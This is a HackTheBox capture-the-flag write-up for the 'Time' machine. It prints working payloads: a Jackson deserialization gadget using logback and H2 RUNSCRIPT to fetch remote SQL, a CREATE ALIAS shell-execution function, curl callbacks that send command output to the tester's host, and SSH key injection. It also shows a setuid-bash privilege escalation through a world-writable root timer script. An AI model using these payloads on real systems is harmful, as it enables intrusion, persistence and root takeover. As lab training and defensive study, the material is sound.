HTB: Time Writeup

Time - HackTheBox Writeup

Machine Information

AttributeDetails
NameTime
OSLinux
DifficultyMedium
Points30
Release Date24 Oct 2020
IP Address10.129.43.169
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐⭐☆
  • CTF-like: ⭐⭐☆☆☆

Summary

Time is a medium-difficulty Linux machine that showcases a realistic attack path involving Java deserialization vulnerabilities and misconfigured system services. The initial foothold exploits a Jackson polymorphic deserialization vulnerability (CVE-2019-12384 family) in an online JSON validation service. By leveraging the logback-core gadget chain with H2 database’s RUNSCRIPT functionality, we achieve remote code execution as user pericles. Privilege escalation is achieved by exploiting a world-writable systemd timer script that runs with root privileges, allowing us to create a setuid binary for root access.

TL;DR: JSON validator → Jackson deserialization (logback + H2 JDBC) → RCE as pericles → world-writable systemd timer script → setuid bash → root


Reconnaissance

Port Scanning

Terminal window
# Initial fast scan for open ports
nmap -p- --min-rate=1000 -T4 10.129.43.169
# Detailed service enumeration on discovered ports
nmap -sC -sV -p22,80 10.129.43.169

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser

Only two ports are exposed: SSH on port 22 and HTTP on port 80. The web server is running Apache httpd 2.4.41 on Ubuntu.

Service Enumeration

HTTP (Port 80)

Browsing to http://10.129.43.169 reveals an “Online JSON parser” application with two modes available via a dropdown menu:

  1. Beautify - Formats JSON input
  2. Validate (beta!) - Validates JSON structure

Testing with basic JSON input {"title": "test"}:

  • Beautify mode successfully formats the JSON
  • Validate mode returns a Java exception:
Validation failed: Unhandled Java exception:
com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token
(START_OBJECT), expected START_ARRAY: need JSON Array to contain
As.WRAPPER_ARRAY type information for class java.lang.Object

Vulnerability Assessment

The error message reveals several critical pieces of information:

  1. Framework: The application uses Jackson (Fasterxml jackson-databind) for JSON processing
  2. Vulnerability: The error MismatchedInputException with As.WRAPPER_ARRAY indicates polymorphic deserialization is enabled
  3. Attack Surface: The beta validation endpoint accepts arbitrary user input and deserializes it

This is a classic Jackson deserialization vulnerability affecting multiple CVEs:

  • CVE-2019-14439
  • CVE-2019-12814
  • CVE-2019-12384

The jackson-databind library allows type information to be embedded in JSON arrays, which can be abused to instantiate arbitrary classes if vulnerable “gadget” classes are present in the application’s classpath.


Initial Foothold

Understanding the Jackson Deserialization Vulnerability

Jackson’s polymorphic deserialization feature allows JSON arrays to specify class types that should be instantiated. When enabled without proper filtering, this can be exploited if:

  1. The application accepts arbitrary user input (✓ confirmed)
  2. A vulnerable “gadget” class exists in the classpath (must be discovered)

The key is finding a gadget class that:

  • Is not blocked by Jackson’s blacklist
  • Can be abused to achieve code execution

Identifying the Exploitation Path

Research into Jackson CVEs reveals that the logback-core library (commonly used for logging in Java applications) was not initially blacklisted and contains exploitable gadgets. Specifically, the ch.qos.logback.core.db.DriverManagerConnectionSource class can:

  1. Initialize JDBC (Java Database Connectivity) connections
  2. Connect to attacker-controlled database servers
  3. Execute database initialization scripts

The H2 database engine (widely used in Java applications) provides a powerful feature: INIT=RUNSCRIPT FROM '<URL>' which executes SQL scripts from remote URLs. Combined with H2’s CREATE ALIAS feature, we can execute arbitrary Java code.

Testing Connectivity

First, set up an HTTP server to capture connection attempts:

Terminal window
# Start HTTP server on port 9191 (port 8000 was occupied)
python3 -m http.server 9191

Send a test payload to the validation endpoint:

["ch.qos.logback.core.db.DriverManagerConnectionSource",
{"url":"jdbc:h2:mem:;INIT=RUNSCRIPT FROM 'http://10.10.15.180:9191/'"}]

Success: The HTTP server receives a connection request, confirming:

  • The logback-core gadget is available
  • H2 database engine is present
  • JDBC connections can reach our server

Crafting the RCE Payload

Create an SQL script that leverages H2’s CREATE ALIAS to define a function executing arbitrary shell commands:

Terminal window
# Create rce.sql in the HTTP server directory
cat > rce.sql << 'EOF'
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
$$;
CALL SHELLEXEC('curl http://10.10.15.180:9191/rce_callback')
EOF

How this works:

  1. CREATE ALIAS defines a custom SQL function in H2
  2. The function’s body is Java code that executes system commands
  3. Runtime.getRuntime().exec(command) executes bash with our command
  4. The Scanner captures the output stream

Confirming RCE

Trigger the SQL execution with:

["ch.qos.logback.core.db.DriverManagerConnectionSource",
{"url":"jdbc:h2:mem:;INIT=RUNSCRIPT FROM 'http://10.10.15.180:9191/rce.sql'"}]

The HTTP server receives a connection to /rce_callback, confirming command execution. Modify the payload to identify the user:

CALL SHELLEXEC('curl http://10.10.15.180:9191/$(id)')

The server receives:

GET /uid=1000(pericles) HTTP/1.1

We have RCE as user pericles (uid=1000).

Establishing Persistent Access

Rather than dealing with unreliable reverse shells, inject an SSH key for stable access:

Terminal window
# Generate ED25519 SSH keypair
ssh-keygen -t ed25519 -f time_key -N ''
# Create the SQL payload to inject our public key
cat > rce.sql << 'EOF'
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
$$;
CALL SHELLEXEC('mkdir -p /home/pericles/.ssh && echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFfQ..." > /home/pericles/.ssh/authorized_keys && chmod 700 /home/pericles/.ssh && chmod 600 /home/pericles/.ssh/authorized_keys')
EOF

Send the trigger payload again, then connect:

Terminal window
# Connect via SSH
ssh -i time_key pericles@10.129.43.169

Success: We have a stable shell as pericles.

Terminal window
pericles@time:~$ id
uid=1000(pericles) gid=1000(pericles) groups=1000(pericles)
pericles@time:~$ cat user.txt
<redacted>

Privilege Escalation

Enumeration

Begin with manual enumeration focusing on common privilege escalation vectors:

Terminal window
# Check for SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Check for capabilities
getcap -r / 2>/dev/null
# Check for interesting systemd timers (non-standard timers often misconfigured)
systemctl list-timers --all

The systemctl list-timers output reveals an unusual timer:

NEXT LEFT LAST PASSED UNIT ACTIVATES
Tue 2024-01-16 14:23:45 UTC 8s left Tue 2024-01-16 14:23:35 UTC 1s ago timer_backup.timer timer_backup.service

A non-standard timer named timer_backup.timer fires approximately every 10 seconds. Let’s investigate:

Terminal window
# Examine the timer configuration
pericles@time:~$ systemctl cat timer_backup.timer
[Unit]
Description=Backup of the website
Requires=timer_backup.service
[Timer]
# Timer settings go here, firing roughly every 10 seconds
OnBootSec=0min
OnCalendar=*:0/1
[Install]
WantedBy=timers.target

This timer triggers timer_backup.service. Check the service:

Terminal window
pericles@time:~$ systemctl cat timer_backup.service
[Unit]
Description=Backup of the website
Requires=web_backup.service
[Service]
Type=oneshot
ExecStart=/bin/bash /usr/bin/timer_backup.sh
[Install]
WantedBy=multi-user.target

The service executes /usr/bin/timer_backup.sh as root (systemd services run as root by default unless specified otherwise). Check the script permissions:

Terminal window
pericles@time:~$ ls -la /usr/bin/timer_backup.sh
-rwxrw-rw- 1 pericles pericles 88 Jul 20 2020 /usr/bin/timer_backup.sh

Critical finding: The script is:

  • World-writable (-rw-rw-)
  • Owned by pericles (not root)
  • Executed by root via the systemd service every ~10 seconds

This is a textbook privilege escalation opportunity.

Exploitation Strategy

Rather than attempting a reverse shell (which can be unstable), we’ll use the classic setuid binary approach:

  1. Copy /bin/bash to a temporary location
  2. Set the setuid bit (allows execution with owner’s privileges)
  3. Execute the setuid bash to gain root

Executing the Privilege Escalation

Note: The jump box’s /tmp was at 100% capacity, preventing normal file operations. As a workaround, we use /dev/shm (shared memory) which is not subject to disk quotas:

Terminal window
# Overwrite the timer_backup.sh script
pericles@time:~$ echo 'cp /bin/bash /dev/shm/rootbash && chmod u+s /dev/shm/rootbash' > /usr/bin/timer_backup.sh
# Verify the modification
pericles@time:~$ cat /usr/bin/timer_backup.sh
cp /bin/bash /dev/shm/rootbash && chmod u+s /dev/shm/rootbash
# Wait for the timer to fire (max ~10 seconds)
pericles@time:~$ watch -n 1 'ls -la /dev/shm/rootbash 2>/dev/null'

After the timer executes:

Terminal window
pericles@time:~$ ls -la /dev/shm/rootbash
-rwsr-xr-x 1 root root 1183448 Jan 16 14:24 /dev/shm/rootbash

The setuid bit (s) is set and the binary is owned by root. Execute it:

Terminal window
# Execute with -p flag to preserve effective UID (root)
pericles@time:~$ /dev/shm/rootbash -p
rootbash-5.0# id
uid=1000(pericles) gid=1000(pericles) euid=0(root) egid=0(root) groups=0(root),1000(pericles)
rootbash-5.0# cat /root/root.txt
<redacted>

Success: We have effective UID 0 (root) and can read the root flag.

Understanding the Privilege Escalation

This vulnerability exists because:

  1. Systemd services run as root by default unless User= is specified in the service file
  2. The script permissions were misconfigured - world-writable and owned by a non-privileged user
  3. No integrity checks were performed before execution
  4. The timer runs frequently (~10s intervals), providing a quick exploitation window

This is a common misconfiguration in production environments where:

  • Backup scripts are hastily created
  • Proper file permissions are overlooked
  • Services are not run with least privilege

Attack Chain Summary

Port 80 JSON Parser (Beautify/Validate)
MismatchedInputException reveals Jackson polymorphic deserialization
Test logback-core DriverManagerConnectionSource gadget with H2 JDBC
HTTP callback confirms connectivity to attacker server
H2 RUNSCRIPT + CREATE ALIAS → arbitrary Java code execution
RCE as pericles (uid=1000) confirmed via curl callback
Inject SSH ed25519 public key to /home/pericles/.ssh/authorized_keys
Stable SSH shell as pericles → user.txt
Enumerate systemd timers → find timer_backup.timer (every ~10s)
timer_backup.service executes /usr/bin/timer_backup.sh as root
Script is world-writable (-rwxrw-rw-) owned by pericles
Overwrite script to: cp /bin/bash /dev/shm/rootbash && chmod u+s /dev/shm/rootbash
Wait for timer to fire → setuid bash created as root
Execute /dev/shm/rootbash -p → euid=0 → root.txt

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
python3 -m http.serverHTTP server to serve SQL payload and receive callbacks
ssh-keygenGenerate ED25519 SSH keypair for persistent access
systemctlEnumerate and investigate systemd timers and services
curlTest RCE via HTTP callbacks (executed on target)
H2 Database RUNSCRIPTExecute remote SQL scripts via JDBC
H2 CREATE ALIASDefine custom SQL functions with Java code

Key Learnings

Techniques Practiced

  • Jackson deserialization exploitation using polymorphic type handling
  • Java gadget chain analysis (logback-core + H2 database)
  • JDBC abuse for remote code execution via database initialization scripts
  • H2 database features (RUNSCRIPT, CREATE ALIAS) for code execution
  • Systemd timer enumeration for privilege escalation opportunities
  • Setuid binary creation for stable privilege escalation
  • SSH key injection for persistent access without reverse shells

Lessons Learned

  1. Beta features are often vulnerable: The “Validate (beta!)” label was a clear indicator of potentially insecure functionality. In production environments, beta features should be thoroughly tested and ideally not exposed publicly.

  2. Error messages leak valuable information: The Java exception revealed the exact framework (Jackson), the vulnerable feature (polymorphic deserialization), and even the expected input format. Proper error handling should never expose stack traces to end users.

  3. Deserialization vulnerabilities are powerful: Java deserialization, when combined with the right gadget chains, provides a direct path from user input to code execution. Modern applications should avoid deserializing untrusted data or use strict allowlists.

  4. H2 database is a common exploitation vector: The H2 database engine’s powerful features (RUNSCRIPT, CREATE ALIAS, INIT parameters) make it an attractive gadget for exploitation when present in the classpath. Its convenience for development makes it prevalent in production systems.

  5. File permissions matter for automation: The world-writable script executed by a root-owned systemd timer is a critical misconfiguration. Automated tasks should:

    • Run with least privilege (specify User= in systemd units)
    • Use scripts with restrictive permissions (0700, owned by root)
    • Implement integrity checks (digital signatures, checksums)
  6. Systemd timers are often overlooked: While cron jobs are commonly checked during enumeration, systemd timers can be forgotten. Always run systemctl list-timers --all on modern Linux systems.

  7. Setuid binaries provide stable privilege escalation: Unlike reverse shells that can break or timeout, a setuid binary provides a reliable, repeatable path to elevated privileges as long as the file persists.

  8. Environment constraints require adaptation: The full /tmp partition required pivoting to /dev/shm for file operations. Always have backup strategies when standard directories are unavailable.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • Official HackTheBox Writeup for Time (Machine Author: egotisticalSW & felamos) - Document No D21.100.112
  • CVE-2019-12384: Jackson-databind polymorphic typing issue (logback-core)
  • CVE-2019-14439: Jackson-databind polymorphic typing issue
  • CVE-2019-12814: Jackson-databind polymorphic typing issue
  • H2 Database Documentation: RUNSCRIPT and CREATE ALIAS features
  • Systemd documentation: Timer and Service unit configuration